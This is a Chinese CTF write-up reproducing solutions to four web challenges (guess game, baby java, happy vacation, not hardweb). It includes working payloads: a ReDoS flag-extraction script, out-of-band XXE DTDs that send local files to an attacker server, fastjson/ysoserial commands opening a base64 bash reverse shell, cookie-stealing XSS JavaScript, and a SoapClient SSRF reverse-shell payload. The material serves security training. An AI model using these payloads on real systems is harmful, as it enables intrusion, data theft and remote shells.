GXZY CTF 几道web题目和几道web预期解的复现
0x01 guess game redos解法 复现时题目环境已关,前面反弹shell后拷了题目的源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 var express = require ('express' );var ejs=require ('ejs' );var app = express();app.use(express.json()); app.use(express.urlencoded({ extended : true })); app.use('/static/' ,express.static("./static/" )); app.engine('html' ,ejs.__express); app.set('view engine' ,'html' ); var config = { "forbidAdmin" : true , }; var loginHistory = [];var adminName = "admin888" ;var flag = "g3tFLAaGEAxY" ;const isObject = obj => obj && obj.constructor && obj.constructor === Object ;function merge (a, b ) { for (let attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a; } function log (userInfo ) { let logItem = {"time" :new Date ().toString()}; merge(logItem,userInfo); loginHistory.push(logItem); } app.get('/log' , function (req,res ) { if (loginHistory.length==0 ){ res.end("no log" ); }else { res.json(loginHistory); } }); app.get('/' , function (req, res ) { res.end("ok" ); }); app.post('/' ,function (req, res ) { if (typeof req.body.user.username != "string" ){ res.end("error" ); }else { if (config.forbidAdmin && req.body.user.username.includes("admin" )){ res.end("any admin user has been baned" ); }else { if (req.body.user.username.toUpperCase() === adminName.toUpperCase()) console .log("yes" ); log(req.body.user); res.end("ok" ); } } }); app.get('/verifyFlag' , function (req, res ) { }); app.post('/verifyFlag' ,function (req,res ) { let result = "Emm~ I won't tell you what happened! " ; if (typeof req.body.q != "string" ){ res.end("please input your guessing flag" ); }else { let regExp = req.body.q; if (config.enableReg && noDos(regExp) && flag.match(regExp)){ } if (req.query.q === flag) result+=flag; res.end(result); } }); function noDos (regExp ) { return !(regExp.length>30 ||regExp.match(/[)]/g ).length>5 ); } var server = app.listen(8081 , function ( ) { var host = server.address().address; var port = server.address().port; console .log("http://%s:%s" , host, port) });
由于没有拷views目录下的文件,这里的render()就注释掉了,install express和ejs后题目既可以运行了,
这里参考了NU1L和de1ta 的wp,然后这题有个merge()函数,
和上回ichunqiu的那道nodejs题merge()函数一样,都可以进行原型链污染,然后我们找那里调用了log函数,
只有在/路由在使用post方法时才会调用log函数,这里传入的是req.body.user,即我们post的data,调用这个函数,需要满足username变大写后与admin888相同,然后找可以进行污染利用的点,
看到这里/veryfyFlag路由,这里会判断config.enableReg,
1 2 3 4 var config = { "forbidAdmin" : true , };
enableReg是未定义的,这里可以通过原型链污染绕过,然后后面把我们输入的q给了regExp,并通过noDos函数限制了我们输入的q。之后用q对flag进行匹配,这里就可以通过,nodejs的redos攻击来盲注出flag。
match()
方法检索返回一个字符串匹配正则表达式的的结果。
语法
参数
返回值
如果使用g标志,则将返回与完整正则表达式匹配的所有结果,但不会返回捕获组。
如果未使用g标志,则仅返回第一个完整匹配及其相关的捕获组(Array
)。 在这种情况下,返回的项目将具有如下所述的其他属性。
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/match
参考
就可以通过这种方式逐位盲注出后面的flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsfrom time import time,sleepdepth = 5 pre = '(' * depth + '.' + '*)' * depth +'[^' suf = ']$' dict = "{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" re = [] for c in dict: r=requests.post('http://127.0.0.1:8081' , json = {"user" : {"username" :"admın888" , "__proto__" : {"enableReg" : True }}}) begin = time() r=requests.post('http://127.0.0.1:8081/verifyFlag' , json = {'q' : pre + c + suf}) re.append([c, time() - begin]) sleep(0.1 ) print(pre + c + suf) print(len(pre + c + suf)) print(r.text) re = sorted(re, key = lambda x: x[1 ]) for d in re[::-1 ][:3 ]: print('[*] {} : {}' .format(d[0 ], d[1 ]))
用这个脚本跑到盛前面两个的时候,跑不出了。
然后改下前面的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsfrom time import time,sleepdepth = 5 suf = ']' +'(' * depth + '.' + '*)' * depth +'tFLAaGEAxY' pre = '[' dict = "{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" re = [] for c in dict: r=requests.post('http://127.0.0.1:8081' , json = {"user" : {"username" :"admın888" , "__proto__" : {"enableReg" : True }}}) begin = time() r=requests.post('http://127.0.0.1:8081/verifyFlag' , json = {'q' : pre + c + suf}) re.append([c, time() - begin]) sleep(0.1 ) print(pre + c + suf) print(len(pre + c + suf)) print(r.text) re = sorted(re, key = lambda x: x[1 ]) for d in re[::-1 ][:3 ]: print('[*] {} : {}' .format(d[0 ], d[1 ]))
之后又看了syclover的wp
"^(?=xxx)((.*)*)*aaaaa$"
如果匹配到xxx会无限延时,用这个可以盲注flag,结尾不能是aaaaa即可, 无限延迟题目会挂,少一个括号即可 “^(?=xxx)(.) aaaaa$”
偷个图
0x02 baby java 这道题目考点是javaxxe和fastjson反序列化的漏洞,首先页面是这样,
很酷炫,然后比赛就是不会做,burp截包可以看到这里用了xml格式来读取输入的数据,可以xxe,
1 2 3 <!DOCTYPE any [ <!ENTITY xxe "bbbbb" > ]><user > <number > fffff</number > <name > &xxe; </name > </user >
可以解析xml,比赛时测试带上&,%就会get out hacker ,以为把&和%都禁了,然后就没有然后了,还是对xxe的理解不够深入,然后继续测试,
1 2 3 <!DOCTYPE any [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><user > <number > fffff</number > <name > &xxe; </name > </user >
这里会触发waf,从这也可以看出,触发waf的时候会返回sus waf detect ! get out bad hacker ! hint: /hint.txt,而之前返回get out hacker 可能时因为语法问题等其他原因,这里过滤了file和ftp等,而且提示我们去读hint.txt,然后尝试外带xxe,这里参考
开始看其他的wp上面说有用http读取了hint.txt,而且内容为pom.xml文件,以为是多行的,看了上面这篇文章后,http是不能读多行文件的,然后问了出题人tr1ple 师傅,hint.txt是单行的,那么http和ftp应该都可以读了,
这里我们服务器放的hint.txt如下
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE any [ <!ENTITY % xxe SYSTEM "http://ip/gx.dtd" > %xxe; ]> <user > <number > fffff</number > <name > aaa</name > </user > //gx.dtd <!ENTITY % file SYSTEM "file:///hint.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999/?%file;'>" > %int; %send;
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE any [ <!ENTITY % xxe SYSTEM "http://ip/gxzy.dtd" > %xxe; ]> <user > <number > fffff</number > <name > aaa</name > </user > //gxzy.dtd <!ENTITY % payload SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://ip:2121/%payload;'>" > %int; %trick;
按照比赛来这时我们得到了pom.xml文件,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 Method%uFF1A post Path %uFF1A /you_never_know_the_path <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <parent > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-parent</artifactId > <version > 2.2.4.RELEASE</version > <relativePath /> </parent > <groupId > com.tr1ple</groupId > <artifactId > sus</artifactId > <version > 0.0.1-SNAPSHOT</version > <name > baby_java</name > <description > Spring Boot</description > <properties > <java.version > 1.8</java.version > </properties > <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter</artifactId > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-configuration2</artifactId > <version > 2.2</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.5</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjtools</artifactId > <version > 1.9.5</version > </dependency > <dependency > <groupId > saxpath</groupId > <artifactId > saxpath</artifactId > <version > 1.0-FCS</version > </dependency > <dependency > <groupId > commons-configuration</groupId > <artifactId > commons-configuration</artifactId > <version > 1.6</version > </dependency > <dependency > <groupId > commons-lang</groupId > <artifactId > commons-lang</artifactId > <version > 2.5</version > </dependency > <dependency > <groupId > org.apache.flex.blazeds</groupId > <artifactId > flex-messaging-core</artifactId > <version > 4.7.3</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-thymeleaf</artifactId > </dependency > <dependency > <groupId > com.alibaba</groupId > <artifactId > fastjson</artifactId > <version > 1.2.48</version > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > <exclusions > <exclusion > <groupId > org.junit.vintage</groupId > <artifactId > junit-vintage-engine</artifactId > </exclusion > </exclusions > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-maven-plugin</artifactId > </plugin > </plugins > </build > </project >
这里可以看到有一个/you_never_know_the_path路径,还有1.2.48fastjson,还有这个commons-collections东东,然后查了下fastjson的最近的漏洞,这篇 文章具体的分析了漏洞,然后这里就贴出payload,
1 {\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}
然后用这个payload打的话,还是会触发waf,
然后测试发现对type和prefix进行了过滤,从上面那篇文章可以知道
那么就可以通过十六进制绕过type的过滤,然后就是prefix的绕过,
图片来源
然后这里就通过在prefix前面加-来绕过,然后就是在vps上开一个JRMPListener,然后通过fastjson的漏洞触发服务器连接vps的JRMPListener,然后给服务器发送序列化的payload,触发服务器反序列化,最后rce。
payload:
1 2 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS81MDAwMCAwPiYx}|{base64,-d}|{bash,-i}' java -cp ysoserial.jar ysoserial.exploit.JRMPClient 144.34.200.151 7777 CommonsCollections7 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS81MDAwMCAwPiYx}|{base64,-d}|{bash,-i}'
1 {"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","-prefix":"rmi://ip:8888/Exploit"}
成功反弹shell。
另外还有用在vps上开了一个LDAPServer,来反弹shell,由于java还不是太熟,这里没有复现,师傅有会的可以六个链接啥的,教教我这个菜鸡,
参考:http://ctf.njupt.edu.cn/382.html#hackme
0x03 happy vacation 前一篇文章已经记录了这道题的非预期解,比较简单,这道题的预期解是xss,接下来进行分析,
xss的触发点在index.php
然后跟进lib.php中的showMessage
1 2 3 function showMessage () { echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>" ; }
这里会把$this->info->message,输出出来,如果我们闭合这里的单引号,在后面加上js语句,就可以进行xss。然后继续看$this->info->message,这个值是
我们get输入的message变量,然后调用leavemessage对输入进行检测后赋给$this->info->message。
可以看到这里对message进行了addslashes处理,所以我们如果想闭合之前的单引号,就可以通过像sql注入中宽字节注入的方法,
图片
然后就需要找到可以设置响应编码的地方,同时这道题还有一个eval的利用点,
会把我们输入的answer拼接到命令执行中,而且前面还用了clone浅复制
所以我们可以在这里修改user的属性,然后分析lib.php中的go函数
如果this->location不等于this->page,那么就会调用go()函数,go函数中会把pre after location 进行拼接,然后传给header,如果可以控制这三个变量,就可以在这里设置gb18130编码,达到宽字节注入。然后可以在本地测试,把源码中的//var_dump($user);注释删掉,可以更清晰的看出,
在 quiz.php中52,53行
url->page为index,如果这里传入的referer不等于index的话,就会把$referer赋给user->url->referer,然后在45,46行,如果$user->url->referer != $user->url->page,将user->url->referer赋给user->url->location,所以这里通过发送两次请求,就可以控制$user->url->location的值,然后就可以调用header函数,paylaod如下:
1 quiz.php?referer=Content-Type: text/html; charset=GBK; kkkk: &answer=user-%3Eurl-%3Epre
然后这里我们可以进行xss,但是在lib.php开头
1 <meta http-equiv ="Content-Security-Policy" content ="style-src 'self'; script-src 'unsafe-inline' http://<?=$_SERVER['HTTP_HOST']?>/; object-src 'none'; frame-src 'self'" >
设置了csp,就不能在message直接传入我们vps或xss平台的链接了,然后这道题目还有一个文件上传的点,我们可以上传一个文件内容为
1 2 3 4 5 6 a = function ( ) { window .location = "http://ip:8888/" +document .cookie; } setTimeout(a,1 ); location.href="//xxxxxxx?c=" +escape (document .cookie)
的文件,后缀可以设为txt,然后在index.php中传入message值:
1 index.php?message=%df%27;jscode;//
python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestscookie={"PHPSESSID" :"e3sugtvfki7aketdnkofbt9odu" } proxy={"http" :"http:127.0.0.1:8080" } theurl="http://192.168.35.158/gxzy-happyvacation/" thejs="http://192.168.35.158/upload/56b6f09c50bfb4706563cdf3463a6cc3.txt" def p (sth) : result = "" for i in sth: result += str(ord(i)) result += "," return result[0 :-1 ] xss = p("<script src='$$$'></script>" .replace("$$$" ,thejs)) r=requests.get(theurl+"index.php" + "?message=%df%27;document.write(String.fromCharCode($$$));//" .replace("$$$" ,xss),cookies=cookie,proxies=proxy) print r.content
然后再看ask.php
这里会重定向到check.php,题目并没有给check.php内容,但是前面我们都已经连上马了,就可以看到check.php的具体内容
然后看看bot.py
bot会到这flag和我们的session_id去访问teacher.php,
teacher.php就是调用了showMessage(),echo出 sesion_id对应的$this->info->message。本地复现的时候bot.py老是报错,然后就没有试,可以手工带上session_id访问teacher.php
确实可以nc到。
0x04 not hardweb 非预期复现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php session_start(); error_reporting(0 ); include "user.php" ; include "conn.php" ; $IV = "********" ; if (!isset ($_COOKIE['user' ]) || !isset ($_COOKIE['hash' ])){ if (!isset ($_SESSION['key' ])){ $_SESSION['key' ] = strval(mt_rand() & 0x5f5e0ff ); $_SESSION['iv' ] = $IV; } $username = "guest" ; $o = new User($username); echo $o->show(); $ser_user = serialize($o); $cipher = openssl_encrypt($ser_user, "des-cbc" , $_SESSION['key' ], 0 , $_SESSION['iv' ]); setcookie("user" , base64_encode($cipher), time()+3600 ); setcookie("hash" , md5($ser_user), time() + 3600 ); } else { $user = base64_decode($_COOKIE['user' ]); $uid = openssl_decrypt($user, 'des-cbc' , $_SESSION['key' ], 0 , $_SESSION['iv' ]); if (md5($uid) !== $_COOKIE['hash' ]){ die ("no hacker!" ); } $o = unserialize($uid); echo $o->show(); if ($o->username === "admin" ){ $_SESSION['name' ] = 'admin' ; include "hint.php" ; } }
如果直接把cookie中的PHPSESSID删掉,那么SESSION[‘key’]和SESSION[‘iv’]就为空,然后直接将我们通过key和iv为空伪造的cookie,传给服务器,直接就会变成admin.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class User { public $username; function __construct ($username) { $this ->username = $username; } function show () { return "username: $this->username\n" ; } } $user = new User("admin" ); $user= serialize($user); $user1= base64_encode(openssl_encrypt($user, 'des-cbc' , '' , 0 , '' )); echo $user1."\n" ; echo md5($user);
1 2 user:b3hIekw5Mk82WTQwbUk1M3RHYThQR0V4UmVZeHVSdE1ranZRYk43eksyVXhaTnFQZ2l1YkRKc0dpd1Z5cUlzVg== hash:abc2f600e79557ef90ca4e07516b486f
然后这道题之后就是用SoapClient 打内网了,
1 2 3 4 5 6 $location = 'http://10.10.1.12/index.php?cc=%60%24cc%60%3Bbash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2Fip%2F8081%200>%261%27%3B'; $a = new SoapClient(null, array('location' => $location ,'uri' => '123')); $user = serialize($a); $user1= base64_encode(openssl_encrypt($user, 'des-cbc', '', 0, '')); echo $user1."\n"; echo md5($user);
然后再按之前的方法就可以反弹shell了。后面的没环境就不做了。
参考链接
https://www.gem-love.com/ctf/1884.html#happyvacation_16solved_571pt
http://nextcloud.chamd5.org/index.php/s/EYTZB4zgtqsfcge#pdfviewer
https://mp.weixin.qq.com/s/oqojw9VoXOVqV9EmoRQKiA
http://ctf.njupt.edu.cn/382.html#hackme
https://mp.weixin.qq.com/s/RjTsvUsx65YTMIg3jejXng